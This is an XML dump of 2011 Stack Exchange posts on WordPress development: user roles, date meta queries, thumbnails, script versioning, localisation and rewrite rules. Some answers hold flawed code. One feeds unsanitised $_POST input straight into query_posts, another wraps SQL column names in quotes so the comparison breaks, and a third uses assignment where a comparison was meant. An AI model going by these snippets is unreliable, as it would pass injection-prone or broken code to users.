  <row Id="7869" PostTypeId="2" ParentId="7854" CreationDate="2011-01-27T00:52:54.937" Score="3" ViewCount="" Body="&lt;p&gt;You could check the &lt;code&gt;$current_user&lt;/code&gt; variable to determine the role.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I believe it should be realiable after init(maybe even on init) for a logged in user, a guest visitor obviously won't have any data associated with him or her yet(so it'll be empty/unset).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can also call up &lt;code&gt;get_currentuserinfo()&lt;/code&gt; to populate the &lt;code&gt;$current_user&lt;/code&gt; var, but i've personally never found a need when calling &lt;code&gt;$current_user&lt;/code&gt; after init(but i'm sure there may be cases when you need to call it, so it's linked below for reference).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://codex.wordpress.org/Function_Reference/get_currentuserinfo&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Function_Reference/get_currentuserinfo&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1468" LastActivityDate="2011-01-27T00:52:54.937" CommentCount="1" />
  <row Id="7870" PostTypeId="1" CreationDate="2011-01-27T00:53:55.583" Score="1" ViewCount="166" Body="&lt;p&gt;I want to display a logo and blog name list of all my sites (blogs) in a wordpress multisite network. I can easily display the blog name list but have no idea on how to grab the logo. Any Ideas? &lt;/p&gt;&#xA;" LastActivityDate="2011-09-02T02:38:57.960" Title="Display Multisite Logos in one list" Tags="&lt;multisite&gt;" AnswerCount="3" CommentCount="1" FavoriteCount="1" />
  <row Id="7872" PostTypeId="2" ParentId="7870" CreationDate="2011-01-27T01:00:02.817" Score="0" ViewCount="" Body="&lt;p&gt;How are you storing the logo for each site? Have you created a custom option for site logos?&lt;/p&gt;&#xA;" OwnerUserId="2418" LastActivityDate="2011-01-27T01:00:02.817" />
  <row Id="7873" PostTypeId="2" ParentId="7827" CreationDate="2011-01-27T02:43:39.020" Score="1" ViewCount="" Body="&lt;p&gt;Ok so I chucked the rewrite all together and went with a $_POST solution.  It works really well and no slop in my URL.  Here &lt;em&gt;practice-areas&lt;/em&gt; is the taxonomy and the link pulls the &lt;em&gt;taxonomy-practice-areas.php&lt;/em&gt; template file.  On the destination (or here in the template file) I can modify the $query_string to further refine the search to a particular post-type.  Yeeeee-ha!!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Put in Destination Page:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    &amp;lt;?php&#xA;    $myvar = $_POST['formVar'];&#xA;    query_posts($query_string . '&amp;amp;post_type='.$myvar );&#xA;    ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Put in Originating Page:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;!-- The Form: Put this form somewhere on the page: --&amp;gt;&#xA;&#xA;    &amp;lt;form method=post name=&quot;post_form&quot; action=&quot;&quot;&amp;gt;&#xA;    &amp;lt;input type=&quot;hidden&quot; name=&quot;formVar&quot; value=&quot;&quot;&amp;gt;&#xA;    &amp;lt;/form&amp;gt;&#xA;&#xA;&#xA;&amp;lt;!-- The URL: Here I am assigning the Destination URL to a variable.  This can be whatever you want the destination page to be. --&amp;gt;&#xA;&#xA;    &amp;lt;?php                       &#xA;    $dest_url = get_bloginfo('url').'/practice-areas/'. $category-&amp;gt;slug;&#xA;    ?&amp;gt;&#xA;&#xA;&#xA;&amp;lt;!-- The Link: Here we are assigning 'portfolio' to  'formVar' and setting the form 'action' to the $dest_url value. The title stuff is irrelevant here--&amp;gt;&#xA;&#xA;    &amp;lt;a href=&quot;&quot; onclick=&quot;document.post_form.formVar.value='portfolio'; document.post_form.action ='&amp;lt;?php $dest_url; ?&amp;gt;'; document.post_form.submit(); return false&quot; title =&quot;&amp;lt;?php sprintf( __( &quot;View all posts in %s&quot; ), $category-&amp;gt;name ); ?&amp;gt;&quot; &amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2743" LastActivityDate="2011-01-27T02:43:39.020" />
  <row Id="7874" PostTypeId="1" CreationDate="2011-01-27T02:46:14.847" Score="0" ViewCount="324" Body="&lt;p&gt;How do I possible to work with this code to work with date format Y-n-j&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Value&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;start_date = 2011-1-20&#xA;end_date   = 2011-1-30&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Here are the original function came from this &lt;a href=&quot;http://wordpress.stackexchange.com/questions/6953/query-between-two-meta-values/7006&quot;&gt;Query between two meta values?&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function date_check_join( $join ) {&#xA;    global $wpdb;&#xA;    $join .= &quot; JOIN &quot;.$wpdb-&amp;gt;postmeta.&quot; AS startdate ON &#xA;        (&quot;.$wpdb-&amp;gt;posts.&quot;.ID = startdate.post_id AND&#xA;        startdate.meta_key = 'start_date')&#xA;        JOIN &quot;.$wpdb-&amp;gt;postmeta.&quot; AS enddate ON &#xA;        (&quot;.$wpdb-&amp;gt;posts.&quot;.ID = enddate.post_id AND&#xA;        enddate.meta_key = 'end_date')&quot;;&#xA;    return $join;&#xA;    }&#xA;&#xA;function date_check_where( $where ) {&#xA;    $today = date('Y-n-j'); /* I change this format to date('Y-n-j')*/&#xA;    $where .= &quot; AND startdate.meta_value &amp;lt;= $today&#xA;    AND enddate.meta_value &amp;gt;= $today&quot;;&#xA;    return $where;&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This function is working with &lt;code&gt;UNIX TIME STAMP date('Ymd')&lt;/code&gt; and when I change date format it doesn't work with &lt;code&gt;date('Y-n-j')&lt;/code&gt;&#xA;credit @goldenapples&lt;/p&gt;&#xA;" OwnerUserId="420" LastEditorUserId="847" LastEditorDisplayName="" LastEditDate="2011-01-27T08:34:22.510" LastActivityDate="2011-01-28T07:21:32.253" Title="wp custom field date format compare" Tags="&lt;custom-field&gt;&lt;date-time&gt;" AnswerCount="2" CommentCount="2" />
  <row Id="7877" PostTypeId="1" AcceptedAnswerId="7883" CreationDate="2011-01-27T04:25:23.397" Score="0" ViewCount="175" Body="&lt;p&gt;I'm working on a site for a client, which will have a custom post type (homes). I'd like the client to be able to add new posts, which would ideally include multiple pictures, in different 'categories', for each home (i.e. initial construction, finish work, completed home). Each different category would then get its own slider on that 'post'.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've considered using something like the &lt;a href=&quot;http://www.premiumslider.matthewruddy.com/&quot; rel=&quot;nofollow&quot;&gt;Premium Slider&lt;/a&gt; plugin, which offers multiple sliders, and includes a metabox on each post, but it would definitely need to be modified to fit my requirements.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas on the best way to go about doing this?&lt;/p&gt;&#xA;" OwnerUserId="49" LastActivityDate="2011-05-25T03:13:56.803" Title="Multiple auto-generated image slideshows/sliders on each (custom) post?" Tags="&lt;plugin-recommendation&gt;&lt;images&gt;&lt;automate&gt;" AnswerCount="2" />
  <row Id="7878" PostTypeId="1" CreationDate="2011-01-27T04:38:55.360" Score="2" ViewCount="197" Body="&lt;p&gt;When I use the functions that get and output the post thumbnail, they will display the requested thumbnail in the size you specify, but if this size doesn't exist they will display the thumbnail in the original size and force the browser to resize it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I force them to display a placeholder like &quot;no image&quot; in case the requested size doesn't exist?&lt;/p&gt;&#xA;" OwnerUserId="600" LastEditorUserId="8" LastEditorDisplayName="" LastEditDate="2011-01-27T08:08:01.527" LastActivityDate="2011-02-05T22:33:40.310" Title="Display thumbnail only if requested size exists" Tags="&lt;post-thumbnails&gt;&lt;image-size&gt;" AnswerCount="3" CommentCount="2" FavoriteCount="1" />
  <row Id="7879" PostTypeId="2" ParentId="7782" CreationDate="2011-01-27T04:52:30.087" Score="0" ViewCount="" Body="&lt;p&gt;Thank you all for your responses. In the end this is the code I used (posting here for the sake of future searchers):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function control_wp_script_versioning($src)&#xA;{&#xA;    // $src is the URL that WP has generated for the script you added with &#xA;    // wp_enqueue_script(). This function currently removes the version string &#xA;    // off *all* scripts. If you need to do something different, then you &#xA;    // should do it here.&#xA;    $src = remove_query_arg( 'ver', $src );&#xA;    return $src;&#xA;}&#xA;&#xA;function control_wp_style_versioning($src)&#xA;{&#xA;    // $src is the URL that WP has generated for the style you added with &#xA;    // wp_enqueue_style(). This function currently removes the version string &#xA;    // off *all* styles. If you need to do something different, then you &#xA;    // should do it here.&#xA;    $src = remove_query_arg( 'ver', $src );&#xA;    return $src;&#xA;}&#xA;&#xA;// The default script priority is 10. We load these filters with priority 15 to &#xA;// ensure they are run *after* all the default filters have run. &#xA;add_filter('script_loader_src', 'control_wp_script_versioning', 15); &#xA;add_filter('style_loader_src', 'control_wp_style_versioning', 15); &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2736" LastActivityDate="2011-01-27T04:52:30.087" CommentCount="2" />
  <row Id="7880" PostTypeId="2" ParentId="7859" CreationDate="2011-01-27T05:42:40.030" Score="1" ViewCount="" Body="&lt;p&gt;You need to run the chown command on whole wp-content directory:&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;chown www-data:www-data /path/to/wp-content/ -R&lt;/h2&gt;&#xA;" OwnerUserId="251" LastActivityDate="2011-01-27T05:42:40.030" CommentCount="1" />
  <row Id="7881" PostTypeId="2" ParentId="7782" CreationDate="2011-01-27T06:41:04.477" Score="1" ViewCount="" Body="&lt;p&gt;Including jQuery from Google's CDN also requires some extra code to handle the noConflict mode issue. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I suggest that instead of rolling your own, use a plugin designed to handle it properly. This one works great:&#xA;&lt;a href=&quot;http://wordpress.org/extend/plugins/use-google-libraries/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/use-google-libraries/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Simple no-hassle setup. Just activate it and it will replace all relevant libraries with Google's CDN versions.&lt;/p&gt;&#xA;" OwnerUserId="2232" LastActivityDate="2011-01-27T06:41:04.477" CommentCount="2" />
  <row Id="7882" PostTypeId="2" ParentId="6008" CreationDate="2011-01-27T08:19:11.873" Score="1" ViewCount="" Body="&lt;p&gt;I am not expert on users, simplest way as for me would be to store ID (or IDs) of user in &lt;a href=&quot;http://codex.wordpress.org/Custom_Fields&quot; rel=&quot;nofollow&quot;&gt;custom field&lt;/a&gt; and check for it if user is not admin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some example code (not tested):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if(current_user_can('administrator') || in_array(get_current_user_id(), get_post_meta(get_the_id(), 'allowed_users', true))) {&#xA;&#xA;    the_content();&#xA;}&#xA;else {&#xA;&#xA;    echo 'Post restricted';&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-01-27T08:19:11.873" CommentCount="1" />
  <row Id="7883" PostTypeId="2" ParentId="7877" CreationDate="2011-01-27T08:27:08.337" Score="1" ViewCount="" Body="&lt;p&gt;Basics of my approach to sliders:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Query arguments for selection of posts.&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/get-the-image/&quot; rel=&quot;nofollow&quot;&gt;Get The Image&lt;/a&gt; (plus custom code and caching when needed) to mine for images.&lt;/li&gt;&#xA;&lt;li&gt;Separate function for markup generation so it could be easily swapped.&lt;/li&gt;&#xA;&lt;li&gt;Just add JavaScript slider you like. When you like/need another more just swap markup and script.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Of course this approach is better for pre-configured slider or parameters are generated by code and it doesn't need to have manual controls.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-01-27T08:27:08.337" />
  <row Id="7884" PostTypeId="2" ParentId="7874" CreationDate="2011-01-27T08:41:09.833" Score="0" ViewCount="" Body="&lt;p&gt;Try to put values for comparison in quotes, those minuses might be getting it interpreted as mathematical expression instead of string:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$where .= &quot; AND 'startdate.meta_value' &amp;lt;= '$today'&#xA;    AND 'enddate.meta_value' &amp;gt;= '$today'&quot;;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-01-27T08:41:09.833" CommentCount="1" />
  <row Id="7885" PostTypeId="2" ParentId="7878" CreationDate="2011-01-27T08:53:42.050" Score="1" ViewCount="" Body="&lt;p&gt;I'm Not sure about this but i know you can use php's getimagesize() function&#xA;something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;//This must be in one loop&#xA;&#xA;if(has_post_thumbnail()) {&#xA;    $wanted_width = 300;&#xA;    $wanted_height = 150;&#xA;    $id = get_post_thumbnail_id()&#xA;    $image = wp_get_attachment_image_src($id);&#xA;    if ($image){&#xA;        list($width, $height) = getimagesize($image[0]);&#xA;        if (($wanted_height = $width) &amp;amp;&amp;amp; ($wanted_height = $height)){&#xA;            the_post_thumbnail();&#xA;        }&#xA;        else{&#xA;            //default when no image&#xA;            echo '&amp;lt;img src=&quot;'.get_bloginfo(&quot;template_url&quot;).'/images/img-default.png&quot; /&amp;gt;';&#xA;        }&#xA;    }&#xA;    else{&#xA;        //default when no image&#xA;        echo '&amp;lt;img src=&quot;'.get_bloginfo(&quot;template_url&quot;).'/images/img-default.png&quot; /&amp;gt;';&#xA;    }&#xA;} else {&#xA;    //default when no image&#xA;    echo '&amp;lt;img src=&quot;'.get_bloginfo(&quot;template_url&quot;).'/images/img-default.png&quot; /&amp;gt;';&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and i know it's not an answer to the question directly but you can use a plugin called  &lt;a href=&quot;http://wordpress.org/extend/plugins/ajax-thumbnail-rebuild/&quot; rel=&quot;nofollow&quot;&gt;AJAX Thumbnail Rebuild&lt;/a&gt; -&#xA;This plugin allows you to re-build the post thumbnails. Useful if you add_image_size() after already having uploaded post thumbnails. &lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-01-27T08:53:42.050" />
  <row Id="7886" PostTypeId="1" AcceptedAnswerId="7950" CreationDate="2011-01-27T10:48:19.770" Score="0" ViewCount="221" Body="&lt;p&gt;I just transfered my website from shared hosting to VPS,&#xA;I installed all the backup from previous website to the VPS, &#xA;Everything was fine,&#xA;My website was functioning all perfect,&#xA;But I was not able to see wp-admin page,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I hit on url &quot;mywebsite.com/wp-admin&quot;, I get a blank white page,&#xA;I disabled all plugins and themes by renaming the folder names,&#xA;Then I was able to login,&#xA;no white screen was there,&#xA;After digging my head into it for long time,&#xA;I found that there is problem with the plugins folder,&#xA;My theme is all up-to-date, and works fine without any errors&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I de-activate all the plugins, then I don't get any blank white screen during login, &lt;strong&gt;but if any one plugin&lt;/strong&gt; is activated the I get white blank screen on wp-admin page,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is not it,&#xA;when trying to update any plugin or theme I am getting this message:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Unpacking the update…&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Notice: Undefined offset: 1 in&#xA;  /home/admin/onlinemba.co.in/wp-admin/includes/class-ftp-sockets.php&#xA;  on line 93&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Warning: Invalid argument supplied for&#xA;  foreach() in&#xA;  /home/admin/onlinemba.co.in/wp-admin/includes/class-wp-filesystem-ftpsockets.php&#xA;  on line 299&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Notice: Undefined offset: 1 in&#xA;  /home/admin/onlinemba.co.in/wp-admin/includes/class-ftp-sockets.php&#xA;  on line 93&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Installing the latest version…&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Notice: Undefined offset: 1 in&#xA;  /home/admin/onlinemba.co.in/wp-admin/includes/class-ftp-sockets.php&#xA;  on line 93&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Warning: Invalid argument supplied for&#xA;  foreach() in&#xA;  /home/admin/onlinemba.co.in/wp-admin/includes/class-wp-filesystem-ftpsockets.php&#xA;  on line 299&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Incompatible Archive.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Plugin upgrade failed&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(I have included &lt;code&gt;define(&quot;WP_DEBUG&quot;,true);&lt;/code&gt; to wp-config file, after @Backie suggestions, so I am getting errors)&#xA;I am not able to update my wordpress, but I did it manually, I am having the latest version of wordpress,&#xA;I am not able to update my any plugins and themes.&lt;/p&gt;&#xA;" OwnerUserId="1743" LastEditorUserId="1743" LastEditorDisplayName="" LastEditDate="2011-01-27T12:43:02.493" LastActivityDate="2011-01-28T03:54:44.877" Title="Upgrade not working &amp; themes not supporting" Tags="&lt;plugins&gt;&lt;themes&gt;" AnswerCount="2" CommentCount="2" />
  <row Id="7887" PostTypeId="1" CreationDate="2011-01-27T11:57:04.763" Score="1" ViewCount="556" Body="&lt;p&gt;WP 3.0.4&lt;br&gt;&#xA;local installation, multisite network enabled&lt;br&gt;&#xA;theme: Twentyten&lt;br&gt;&#xA;plugin: &lt;a href=&quot;http://wordpress.org/extend/plugins/list-category-posts/&quot; rel=&quot;nofollow&quot;&gt;List Category Posts&lt;/a&gt; v .15, network activated&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've created the folder &lt;code&gt;list-category-posts&lt;/code&gt; inside my theme folder, and placed &lt;code&gt;default.php&lt;/code&gt; inside it. Edited &lt;code&gt;default.php&lt;/code&gt; and saved as &lt;code&gt;lcp_template_1.php&lt;/code&gt; inside same folder. However, the changes are not appearing at all. I'm trying to change the style of the lcp output from the default &lt;code&gt;&amp;lt;ul&amp;gt;&lt;/code&gt; to &lt;code&gt;&amp;lt;div&amp;gt;&lt;/code&gt; classes defined in my theme (child)'s &lt;code&gt;style.css&lt;/code&gt;. NOT WORKING.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That is, the plugin is functioning, but the style changes are not working.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Code for my template file is up at &lt;a href=&quot;http://wordpress.pastebin.com/EGmrkerQ&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.pastebin.com/EGmrkerQ&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please help. Sorry, no url for viewing the output, because this is a local installation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Oh, btw, I should mention that in the shortcode I have called for the new template, as follows: &lt;code&gt;[catlist id=1 template=lcp_template_1]&lt;/code&gt;.&lt;/p&gt;&#xA;" LastEditorUserId="8" LastEditorDisplayName="" LastEditDate="2011-01-27T12:26:42.623" LastActivityDate="2011-02-08T04:25:50.613" Title="Trouble with editing template for &quot;List category posts&quot; plugin" Tags="&lt;plugins&gt;&lt;categories&gt;&lt;shortcode&gt;&lt;plugin-list-category-post&gt;" AnswerCount="2" />
  <row Id="7888" PostTypeId="1" AcceptedAnswerId="8034" CreationDate="2011-01-26T21:04:43.277" Score="0" ViewCount="236" Body="&lt;p&gt;I'm developing a wordpress based site in English but I've installed the Italian version of it...&lt;br&gt;&#xA;In my blog page, I get dates, exactly months, in Italian instead of English...  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I translate this? Are there other things I must manually translate?&lt;br&gt;&#xA;For example, where should I translate errors?  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="2777" LastActivityDate="2011-08-01T07:11:51.177" Title="Translate wordpress date from Italian to English" Tags="&lt;php&gt;&lt;themes&gt;&lt;language&gt;" AnswerCount="4" />
  <row Id="7889" PostTypeId="2" ParentId="7888" CreationDate="2011-01-26T21:11:52.763" Score="1" ViewCount="" Body="&lt;p&gt;The developers of Wordpress chose to use GNU gettext method to handle localization.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is all documented and bit you'll need specifically can be found here &lt;a href=&quot;http://codex.wordpress.org/Translating_WordPress#Date_and_Time_Locale_Settings&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Translating_WordPress#Date_and_Time_Locale_Settings&lt;/a&gt;&lt;/p&gt;&#xA;" LastActivityDate="2011-01-26T21:11:52.763" CommentCount="9" />
  <row Id="7890" PostTypeId="2" ParentId="7888" CreationDate="2011-01-27T11:57:45.017" Score="0" ViewCount="" Body="&lt;p&gt;You might find the WordPress Multilingual plugin helpful here.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It probably does a lot more than you need, but it has superb functionality for automatically displaying the system-generated messages in the right language for a specific post/page.&lt;/p&gt;&#xA;" OwnerUserId="6022" LastActivityDate="2011-01-27T11:57:45.017" />
  <row Id="7891" PostTypeId="1" AcceptedAnswerId="7892" CreationDate="2011-01-26T22:37:28.180" Score="0" ViewCount="248" Body="&lt;p&gt;I'm using the WordPress Plug-In, WP-Members, on a client's website; &lt;a href=&quot;http://www.scottsenner.com&quot; rel=&quot;nofollow&quot;&gt;www.scottsenner.com&lt;/a&gt;. When you click Mortgage Insiders I'd like some introductory text to show for those visitors who are NOT logged in to pursued them to sign-up. Once the member has signed up or logged in it should disappear and only show post links which are currently shown on the page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If anyone has any ideas that would be appreciated. thanks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've added the following code the a new template page which I've set as the template to use on the page edit in the dashboard.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;if ( is_user_logged_in() ) {&#xA;    echo 'Welcome, registered user!';&#xA;} else {&#xA;    echo 'Welcome, visitor!';&#xA;};&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The template looks like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php &#xA;/* Template Name: Insiders */ &#xA;?&amp;gt;&#xA;&#xA;&amp;lt;?php get_header(); ?&amp;gt;&#xA;&#xA;&amp;lt;div id=&quot;content&quot;&amp;gt;&#xA;&#xA;&amp;lt;?php include(TEMPLATEPATH.&quot;/l_sidebar.php&quot;);?&amp;gt;&#xA;&#xA;&amp;lt;div id=&quot;contentmiddle&quot;&amp;gt;&#xA;&#xA;&amp;lt;?php&#xA;if ( is_user_logged_in() ) {&#xA;    echo 'Welcome back &amp;lt;strong&amp;gt;&amp;lt;?php echo $user_login; ?&amp;gt;&amp;lt;/strong&amp;gt;';&#xA;} else {&#xA;    echo '&amp;lt;p&amp;gt;By registering as a Mortgage Insider... (custom text)&amp;lt;/p&amp;gt;';&#xA;};&#xA;?&amp;gt;&#xA;&#xA;    &amp;lt;?php if (have_posts()) : while (have_posts()) : the_post(); ?&amp;gt;&#xA;    &amp;lt;h1&amp;gt;&amp;lt;?php the_title(); ?&amp;gt;&amp;lt;/h1&amp;gt;&#xA;    &amp;lt;?php the_content(__('Read more'));?&amp;gt;&#xA;    &amp;lt;!--&#xA;    &amp;lt;?php trackback_rdf(); ?&amp;gt;&#xA;    --&amp;gt;&#xA;&#xA;    &amp;lt;?php endwhile; else: ?&amp;gt;&#xA;&#xA;    &amp;lt;p&amp;gt;&amp;lt;?php _e('Sorry, no posts matched your criteria.'); ?&amp;gt;&amp;lt;/p&amp;gt;&amp;lt;?php endif; ?&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;&#xA;&amp;lt;?php include(TEMPLATEPATH.&quot;/r_sidebar.php&quot;);?&amp;gt;&#xA;&#xA;&amp;lt;/div&amp;gt;&#xA;&#xA;&amp;lt;!-- The main column ends  --&amp;gt;&#xA;&#xA;&amp;lt;?php get_footer(); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However it's still not displaying the custom text or the logged in text. Any advice?&lt;/p&gt;&#xA;" OwnerUserId="2770" LastEditorUserId="1468" LastEditorDisplayName="" LastEditDate="2011-01-27T12:51:03.280" LastActivityDate="2011-01-27T12:51:58.677" Title="Making Wordpress content visible when logged out" Tags="&lt;untagged&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="7892" PostTypeId="2" ParentId="7891" CreationDate="2011-01-26T22:49:56.580" Score="0" ViewCount="" Body="&lt;p&gt;&lt;a href=&quot;http://codex.wordpress.org/Function_Reference/is_user_logged_in&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Function_Reference/is_user_logged_in&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1602" LastActivityDate="2011-01-26T22:49:56.580" CommentCount="2" />
  <row Id="7894" PostTypeId="2" ParentId="7888" CreationDate="2011-01-27T12:50:25.027" Score="1" ViewCount="" Body="&lt;p&gt;When date is retrieved from database WordPress passes it through &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/date_i18n&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;date_i18n()&lt;/code&gt;&lt;/a&gt; function that draws your locale settings and translates date. You can filter its hook to override translated date with PHP default one in English.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Try this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter('date_i18n', 'eng_date', 10, 3);&#xA;&#xA;function eng_date($j, $req_format, $i) {&#xA;&#xA;    return date($req_format, $i);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;As for more global solution I know there are plugins to handle separate languages for front-end and back-end. Hadn't used any myself so can't recommend one, search &lt;a href=&quot;http://wordpress.org/extend/plugins/&quot; rel=&quot;nofollow&quot;&gt;official plugins repository&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-01-27T12:50:25.027" />
  <row Id="7895" PostTypeId="1" CreationDate="2011-01-27T13:03:36.190" Score="0" ViewCount="120" Body="&lt;p&gt;i developed a plugin (the backend at least) and now i want to add a frontpage to my blog.&#xA;the url should look something like this&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;http://www.mywordpressblogalsoroot.com/mypluginname/param1/param2&#xA;http://www.mywordpressblogalsoroot.com/mypluginname/param1/&#xA;http://www.mywordpressblogalsoroot.com/mypluginname/&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;all this three urls should point to a plugins function or a php site with a loop, i dont know.&#xA;the params should be readable , i think with &lt;code&gt;get_query_var&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;i played a bit with the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter('rewrite_rules_array','gamecard_insertMyRewriteRules');&#xA;// Adding a new rule&#xA;function gamecard_insertMyRewriteRules($rules) {&#xA;    $newrules = array();&#xA;    $newrules['(gamecard)/(\d*)$'] = 'index.php?pagename=$matches[1]&amp;amp;gamecardslug=$matches[2]';&#xA;    return $newrules + $rules;&#xA;}&#xA;&#xA;// Adding the id var so that WP recognizes it&#xA;function gamecard_insertMyRewriteQueryVars($vars)&#xA;{&#xA;    array_push($vars, 'gamecardslug');&#xA;    return $vars;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;something is happening, but i stuck a bit.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;somebody can give me a pointer how to get all this done?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;thanks&lt;/p&gt;&#xA;" OwnerUserId="2589" LastEditorUserId="8" LastEditorDisplayName="" LastEditDate="2011-01-27T15:10:42.420" LastActivityDate="2011-01-27T17:15:56.723" Title="Custom Path for a Plugin" Tags="&lt;plugin-development&gt;&lt;url-rewriting&gt;" AnswerCount="1" FavoriteCount="1" />
  <row Id="7896" PostTypeId="1" AcceptedAnswerId="8054" CreationDate="2011-01-27T13:16:10.643" Score="1" ViewCount="162" Body="&lt;p&gt;The title says it all. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is the best page ordering plugin that works well with WPML? It seems that may are reporting issues with different plugins such as my page order and WPML page order.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;WordPress 3.1 RC3&#xA;WPML 2.0.4&lt;/p&gt;&#xA;" OwnerUserId="2450" LastActivityDate="2011-01-29T16:18:19.817" Title="What is the best page ordering plugin that works well with WPML?" Tags="&lt;plugins&gt;&lt;page&gt;&lt;multi-language&gt;&lt;hierarchical&gt;" AnswerCount="2" FavoriteCount="1" />
